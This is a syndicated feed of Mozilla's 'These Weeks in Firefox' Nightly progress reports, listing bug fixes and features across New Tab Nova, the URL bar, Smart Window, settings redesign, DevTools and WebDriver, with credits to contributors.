<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image5.png"><img alt="Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system." class="aligncenter size-full wp-image-2073" height="924" src="https://blog.nightly.mozilla.org/files/2026/06/image5.png" width="1509"></a></li>
</ul>
<h4>Migration Improvements</h4>
<ul>
<li>Thanks to dao for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035009">fixing a recent alignment issue in the migration wizard dropdown</a></li>
<li>Thanks to volunteer contributor Anthony Mclamb for his patch that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915">disables the legacy EdgeHTML Edge migrator</a>! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th
<ul>
<li>It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.</li>
</ul>
</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032213"> enabled Nova designs for New Tab</a>, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033165"> fixed the Nova content feed to render the intended four‑column layout</a> by correcting CSS grid breakpoints.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033264"> resolved a first‑load failure in the Weather widget</a> by fixing init order and fetch timing, eliminating the “Oops” error.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2031707"> synchronized the Weather toggle between about:preferences#home and the panel</a> via the shared showWeather pref to prevent desync.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2021460"> updated Nova grid focus order</a> to align tab flow with visual order for keyboard users.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2034620"> fixed critical UI issues in Lists and Timer widgets</a> covering overflow, controls, and layout stability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032462"> guarded document.dir access in Nova render paths</a> to avoid startup cache worker errors and improve startup stability.</li>
<li>Rolf<a href="https://bugzil.la/2031568"> added a new normalization method for the inferred interest vector</a> to stabilize topic relevance across sessions.</li>
<li>Rolf<a href="https://bugzil.la/2031569"> prevented unnecessary content refreshes during Pocket New Tab experiments</a>, reducing jank and bandwidth.</li>
<li>Sameeksha<a href="https://bugzil.la/2008197"> defined the Customize button’s expanded/collapsed state programmatically</a> using aria-expanded for better a11y.</li>
<li>liz<a href="https://bugzil.la/2008119"> clarified follow/unfollow/blocked button names with topic context</a> so screen readers announce clear actions.</li>
<li>Vector<a href="https://bugzil.la/2008128"> marked the Delete from History control as opening a dialog</a> via aria-haspopup=dialog for assistive tech.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers pref off</a>, restoring user selections.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> corrected privacy link color and focus styles</a> for contrast and keyboard visibility.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Marco has fixed a<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743"> couple</a> of<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1989632"> issues</a> with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.</li>
<li>Work continues on the new separate search bar to improve the functionality, e.g.<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033231"> allowing middle click</a> to perform a search in a new tab,<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032991"> avoiding performing a</a> search when adding a search engine.</li>
<li>Work also continues on the new Nova layouts.</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032122">uplifted 10 bugs</a> to 150.0.1 dot release addressing initial user feedback from diary study and <a href="https://connect.mozilla.org/">Connect</a>
<ul>
<li>jump to bottom of conversation <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028692">2028692</a></li>
<li>stop streaming button <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029204">2029204</a></li>
<li>back/forward navigation from assistant <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029229">2029229</a></li>
<li>dark mode for various chips <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2024499">2024499</a></li>
</ul>
</li>
<li>search engine switching from smart bar <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021973">2021973</a></li>
<li>Nova styling within smart window <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026794">2026794</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Dustin converted moz-breadcrumb-group variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029181">Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens</a></li>
<li>Dustin converted moz-box-* variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029180">Bug 2029180 – Convert moz-box-* variables into JSON design tokens</a></li>
<li>Dustin converted moz-promo variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029190">Bug 2029190 – Convert moz-promo variables into JSON design tokens</a></li>
<li>Dustin converted moz-reorderable-list variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029191">Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens</a></li>
<li>Dustin converted moz-visual-picker variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029193">Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens</a></li>
<li>Dustin updated browser-shared.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022985">Bug 2022985 – Update browser-shared.css so it passes use-design-tokens</a></li>
<li>Dustin updated popup.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022979">Bug 2022979 – Update popup.css so it passes use-design-tokens</a></li>
<li>Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1955325">Bug 1955325 – Create opacity tokens</a></li>
<li>Jon converted toolbar design tokens to JSON <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017970">Bug 2017970 – Convert toolbar design tokens to json</a></li>
<li>Anna fixed moz-select with panel-list drop-down size inconsistency <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032365">Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened</a></li>
<li>Anna fixed issue with the disabled state of moz-radio component <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027123">Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled</a></li>
<li>Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022326">Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically</a></li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027209">2027209</a></li>
<li>In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">2031837</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Tim converted settings related to Accessibility page to config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968116">Bug 1968116 – Convert settings related to Accessibility page to config-based settings</a></li>
<li>Benjamin converted Privacy &amp; Security page to the config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968112">Bug 1968112 – Convert settings related to Privacy &amp; Security page to config-based settings</a></li>
<li>Finn integrated Firefox Labs page into setting-pane config <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021047">Bug 2021047 – Integrate Firefox Labs page into setting-pane config</a></li>
<li>Anna converted Firefox Updates section to config-based prefs <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1990961">Bug 1990961 – Convert Firefox Updates section to config-based prefs</a></li>
<li>Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015093">Bug 2015093 – Add a moz-promo to welcome users to the redesign</a>
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image4.png"><img alt="The Firefox settings page in dark mode showing a notification banner that reads, “Same settings, new look!” The message further explains that the page has been reorganized to make settings easier to scan and explore, while keeping all existing settings unchanged. A “Got it” button appears below the message. The “AI Controls” section is visible underneath the banner." class="aligncenter size-full wp-image-2072" height="559" src="https://blog.nightly.mozilla.org/files/2026/06/image4.png" width="1431"></a></li>
</ul>
</li>
<li>Anna added possibility to search for actions in the redesigned “Applications” section <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020370">Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section</a></li>
<li>Anna fixed the Settings navbar layout breakage</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]></title>
<description><![CDATA[Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when ...]]></description>
<link>https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:32 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>James <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032547">enabled adaptive autofill in Nightly</a> for testing, which we believe should provide better results in the URL bar when doing autocomplete!</li>
<li>Jack <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">updated the illustrations shown on some of our error pages</a> to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!</li>
</ul>
<p><img alt="Internet connection error page with an adorable Kit illustration" class="aligncenter wp-image-2080 size-full" height="652" src="https://blog.nightly.mozilla.org/files/2026/06/image2-1.png" width="1584"></p>
<ul>
<li>Controls for the Memories feature <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032998">can now be set during Smart Window onboarding</a></li>
</ul>
<p><img alt='Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"' class="aligncenter wp-image-2078 size-full" height="546" src="https://blog.nightly.mozilla.org/files/2026/06/image4-1-e1780509799577.png" width="500"></p>
<p> </p>
<ul>
<li>We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016509">completing the deprecation</a>
<ul>
<li><b>NOTE:</b> The blog post published at<a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/"> WebExtensions API changes in Firefox 149-152</a> provides to extensions developers more details about this deprecation and links to the related MDN docs.</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=2031599%2C2033820%2C2034178%2C1930213%2C2035355%2C1611643%2C2020302%2C2026007%2C2031015%2C2035252%2C2036528%2C411384%2C2033780%2C2036199%2C1812100%2C1898257%2C2030070%2C2030072">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>Pranjali Srivastava</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> 🌟:23rd: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1812100">Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page</a></li>
<li>🌟Akeem Omosanya: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035252">Remove commented-out code in SearchService.sys.mjs</a></li>
<li>Amin Amir:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
</ul>
</li>
<li>🌟Sahaj: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031015">Suggest the default target language for translation after changing the detected source language</a></li>
<li>🌟JIANG Zhirui: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036199">Breakpad build failed on Windows using VS2026 due to removal of stdext</a></li>
<li> John Iweh: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030072">Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices</a></li>
<li>Jak: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030070">Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting</a></li>
<li>🌟Andy [:rgbcmy]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1611643">Autoplayed next video should also be PIP</a></li>
<li> konyhéa: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930213">“Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.</a></li>
<li> Pranjali Srivastava:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1898257">Remove icon property from sidebar extensions</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026007">Show language-agnostic SelectTranslations context menu item when the source and target languages are the same</a></li>
</ul>
</li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1532724"> Bug 1532724</a>, fix shipping in Firefox 152) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1595158"> Bug 1595158</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed access to web-accessible resources declared with &lt;all_urls&gt; from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033905"> Bug 2033905</a></li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029092"> Bug 2029092</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li>Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
<ul>
<li>added support for remote debugging (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014064">#2014064</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016121">#2016121</a>)</li>
<li>made sure that calls to History.replaceState are reflected in the UI (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037359">#2037359</a>)</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030260">#2030260</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed the image preview tooltip for relative URLs images in constructed stylesheet (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035503">#2035503</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026228">#2026228</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Amin Amir cleaned up an <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">incorrect variable assignment</a> in our browsingContext module.</li>
<li>Logan Rosen <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036603">updated stale references and broken links</a> in our documentation about Marionette.</li>
<li>Sameem improved the Marionette and WebDriver BiDi <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020302">screenshot commands to enforce maximum allowed dimensions</a>.</li>
<li>Leo McArdle fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030964">the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”</a>.</li>
<li>Henrik Skupin fixed an issue in Marionette where <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033769">WebDriver:Navigate and WebDriver:Refresh did not handle errors</a> when the underlying navigation failed.</li>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1839953">improved geckodriver to detect an early Firefox exit during startup on Android</a>, avoiding up to 60 seconds of unnecessary connection attempts.</li>
<li>Henrik Skupin updated the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028933">geckodriver CI build job to produce a universal macOS binary</a> supporting both x64 and aarch64.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Sylvestre <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023411">ported some linters</a> (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words &amp; more) to Rust to help improve the runtime of the code review bot.</li>
<li>Dale has been working on migration to moz-src for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034040">customkeys</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035086">dom/quota</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035295">odom/geolocation</a>
<ul>
<li><a href="https://arewemozsrcyet.com/">https://arewemozsrcyet.com/</a></li>
</ul>
</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
<ul>
<li>We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.</li>
</ul>
</li>
<li>Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.</li>
<li>Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!</li>
</ul>
<p><img alt="World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX." class="aligncenter wp-image-2079 size-full" height="162" src="https://blog.nightly.mozilla.org/files/2026/06/image3-1.png" width="346"></p>
<h4>Search and Urlbar</h4>
<ul>
<li>Nova (URL Bar Design Refresh)
<ul>
<li>Drew and Daisuke continued their work on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015612">Nova styling for the Address bar</a> (input and view).</li>
</ul>
</li>
<li>Search and Suggest
<ul>
<li>Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035322">update the localization string for scheduled games</a> and another to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034350">show both teams’ icons in suggestions</a>. Drew also landed and uplifted a fix for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035353">rich search suggestion icons being forced into a square aspect ratio</a>.</li>
<li>Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.</li>
</ul>
</li>
<li>Settings Redesign (SRD)
<ul>
<li>Stephanie landed a test to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021512">ensure search suggestion settings are hidden when quicksuggest is disabled</a>, as well as a patch to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031341">resolve TypeScript issues</a> in search.mjs, and is adding test coverage to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007397">confirm removed search engines are not displayed in the default engines dropdown</a>.</li>
</ul>
</li>
<li>General URL Bar and Component Updates
<ul>
<li>Daisuke landed implementation of the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1893083">context menu on URL bar results</a>, and a fix to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020177">show the loading URL in the URL bar when starting up with a homepage</a>.
<ul>
<li>Marco is working on several tasks, including a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1756564">PDF download / focus stealing issue</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1924124">allowing arrays to be bound in Sqlite.sys.mjs</a>. Marco also worked on fixes related to Places, such as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743">avoiding replacing the favicons database if it is not corrupt</a>.</li>
</ul>
</li>
<li>Standard8 finalized the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028423">URL bar test manifest split</a>. Standard8 also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016401">upgraded us to TypeScript 6</a>.</li>
<li>Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032973">Bug 2032973</a>), which was also uplifted. Moritz also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034507">simplified search mode switcher item activation in tests</a>, and made it so that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036030">the unified search button popup closes when installing an open search engine</a>.</li>
</ul>
</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li>natural language starting with tab close/undo <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035343">2035343</a> with expandable action log <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031508">2031508</a></li>
</ul>
<p><img alt="Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken" class="aligncenter wp-image-2077 size-full" height="256" src="https://blog.nightly.mozilla.org/files/2026/06/image1-1.png" width="220"></p>
<ul>
<li>assistant rendering feedback up/down <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032994">2032994</a> and markdown table <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027029">2027029</a></li>
<li>nova styling blur <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027877">2027877</a> and suggestions <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026823">2026823</a></li>
<li>accessibility screen reader <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028676">2028676</a> and keyboard focus <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037565">2037565</a></li>
<li>optimize conversation starters extra requests <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030005">2030005</a> and caching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033430">2033430</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Nova token updates occasionally, focused on SRD</li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035942">2035942</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Settings redesign is being tested and will hopefully go out in Firefox 152!</li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]></title>
<description><![CDATA[Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on let...]]></description>
<link>https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:31 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Maxx Crawford <a href="https://bugzil.la/2041708">added a pref to hide the New Tab logo </a>so users can opt out of branding without altering page layout or resorting to CSS overrides.</li>
<li>Harshit <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041819">enabled video overlay detection</a> in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
<ul>
<li><a href="https://www.instagram.com/p/DXH8Rd6EcWo/">You can try it out on this Instagram reel</a> in Nightly</li>
</ul>
</li>
</ul>
<p><img alt="Firefox context menu video controls like Pause, Unmute, Speed and Loop." class="aligncenter size-full wp-image-2081" height="431" src="https://blog.nightly.mozilla.org/files/2026/06/image2-2.png" width="480"></p>
<ul>
<li>A note to WebExtension authors – as part of a <a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/">planned deprecation announced last month</a>, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015559"> Bug 2015559</a></li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> added support and debugging for modern attr()(which is <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038939">enabled on Nightly</a>) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014751">#2014751</a>)</li>
</ul>
<p><img alt="Tooltip in Firefox DevTools for mismatched syntax with attr()" class="aligncenter size-full wp-image-2082" height="164" src="https://blog.nightly.mozilla.org/files/2026/06/image1-2.png" width="872"></p>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1717176%2C2031328%2C2038948%2C2011485%2C1455294%2C2035084%2C2039455%2C2036767%2C2039878%2C2013176%2C2022414%2C2036237%2C2036578%2C2041612%2C1262773&amp;list_id=17986996">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Sam Johnson</li>
<li>Sebastian Zartner [:sebo]</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Immaculate Atim: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022414">Switch to using an array instead of an object string for browser.backup.enabled_on.profiles</a></li>
<li>liz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011485">Screenshots overlay visible on both splitview browsers</a></li>
<li>🌟 Rahman Mahmutović [:r_m]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">Can’t change content in box model in inspector for box-sizing:border-box elements</a></li>
